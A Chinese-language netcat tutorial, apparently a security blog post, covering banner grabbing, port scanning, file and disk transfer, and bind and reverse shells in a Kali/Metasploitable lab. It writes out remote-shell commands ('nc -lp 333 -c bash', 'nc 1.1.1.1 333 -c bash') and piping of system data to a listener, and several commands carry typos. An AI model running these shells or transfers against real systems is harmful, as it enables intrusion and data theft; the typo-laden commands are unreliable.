1
免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
netcat(nc)是一个简单而有用的工具,被誉为网络安全界的“瑞士军刀”,不仅可以通过使用TCP或UDP协议的网络连接读写数据,同时还是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。
在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已经安装了nc,如果没有安装,则执行如下命令进行安装
sudo apt install nc.x86_64
也可以先使用wget命令下载安装包,再进行安装,具体如下 下载地址见 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
wget <下载地址> -0 netcat-0.7.1.tar.gz
tar axvs netcat-0.7.1.tar.gz
cd netcat-0.7.1
./contigure
make
编译完成,就会生成 nc 可以执行的文件了,该文件位于 src 目录下,执行"cd"命令,运行/neteat 文件,就可以找到nc了;
Window安装请在文章底部获取下载链接
Banner信息,欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
前提条件:需要和目标建立链接,只有建立了链接,我们才能获取对应的banner信息
目标服务器上可以对banner进行隐藏或者禁止读取
-v:显示详细连接相关信息 -n:后面跟ip地址,-n参数指不会进行dns解析,一般我们使用nc直接进行连接,不建议nc后面跟域名。
nc -vn ip 端口
如图实例。返回banner信息,我们可以知道163邮箱使用了coremail实现邮件服务
参数:
-h 帮助信息
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默认模式)
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
#使用 nc 连接 163 邮箱
root@kali:~# ping pop3.163.com
root@kali:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER test@163.com
-ERR źµŕʺƔފ±²»¿ʓn¿ʄܵŔӲˇ:źµŕʺŶൎ³¢˔´µŃ݂鬳䚰²ȫ¿¼Ç,ϒćʱО׆źµŕʺŵðop·Ďˈ¨О
+OK core mail
# 出现乱码,账号和密码需要 base64 编码
root@kali:~# base64
test@163.com【ctrl+d】
dGVzdEAxNjMuY29tCg==
root@kali:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER dGVzdEAxNjMuY29tCg==
+OK core mail
root@kali:~# nc -nv 192.168.1.110 25
(UNKNOWN) [192.168.1.110] 25 (smtp) open
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
//连接80端口
root@kali:~# nc -nv 192.168.1.110 80
(UNKNOWN) [192.168.1.110] 80 (http) open
head /
可以作为客户端,也可以作为服务端,如下:a作为服务端监听4444端口,b进行连接
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# nc -nv 192.168.1.100 4444
# 可以传递输入的消息
# 电子取证的时候要求被审计的目标尽可能少的被修改硬盘数据,可以使用 nc 进行传递消息
如果想要在B上执行命令,但不想显示在B上,我们可以在服务端A监听一个端口,然后在B上输入命令,通过A的ip和端口输出到服务端A。
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# ls -l | nc -nv 192.168.1.100 4444
在服务端A输入nc -l -p 4444 > ps.txt
表明监听到的4444端口的信息都输入到ps.txt中,也就是说,在B中输入命令发送到A的ps文件中
root@kali:~# nc -l -p 4444 > ps.txt
加上-q 时间
表明命令执行完成后几秒断开连接,可以通过-q来进行判断命令是否执行,否则一直保持连接状态无法判断是否执行
root@metasploitable:~# ps aux | nc -nv 192.168.1.100 -q 1
# -q 1 : 1秒之后断开连接
A: root@kali:~# nc -l -p 4444 > lsof.txt
B: root@metasploitable:~# lsof | nc -nv 192.168.1.100 4444 -q 1
在服务端输入A代码,将监听的端口内容输出到2.MP4,在客户端将文件输入到192.168.1.100的4444端口
• 传输文件( B->A )
A:root@kali:~# nc -lp 4444 > 2.mp4
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 < AWVS\ 01.avi -q 1
或(A->B)
A:root@kali:~# nc -q 1 -lp 4444 < 2.mp4
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 > 3.mp4
B加密->A解密
A:root@kali:~# tar zcvf
- testdir/ | nc -lp 4444 -q 1
B:root@metasploitable:~# nc 192.168.1.100 4444 | tar zxvf -
不是nc里面的功能,是调用了新系统的加密功能,需要安装相应加密工具
A:root@kali:~# nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:root@metasploitable:~# mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.1.100 333 -q 1
B的视频流输入到A,A本地不会还原出文件内容
//将3.mp4重定向到333端口
A:root@metasploitable:~# cat 3.mp4 | nc -lp 333
//客户端连接ip:333端口,接收流,会直接播放
B:root@kali:~# nc -nv 192.168.1.110 | mplayer -vo x11 -cache 3000 -
-z:扫描模式 -nv
root@kali:~# nc -nvz 192.168.1.110 1-65535
root@kali:~# nc -nvz 192.168.1.110 1-1024
B:作为被取证的电脑
• A:root@kali:~# nc -lp 4444 | dd of=/dev/sda
• B:root@metasploitable:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。
• 正向:(B->A)B控制A
如果有人连接A的333端口,A(服务器)就会通过333端口传过去自己的shell
• A:root@kali:~# nc -lp 333 -c bash
• B:root@metasploitable:~# nc -nv 192.168.1.100 333
• 反向:(A->B)
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;
nc缺乏加密和⾝身份验证的能力
#allow:允许访问的ip
//服务器端A侦听333端口,A把自己的shell交给B
A:root@kali:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl
B:root@metasploitable:~# ncat -nv 192.168.1.100 333 --ssl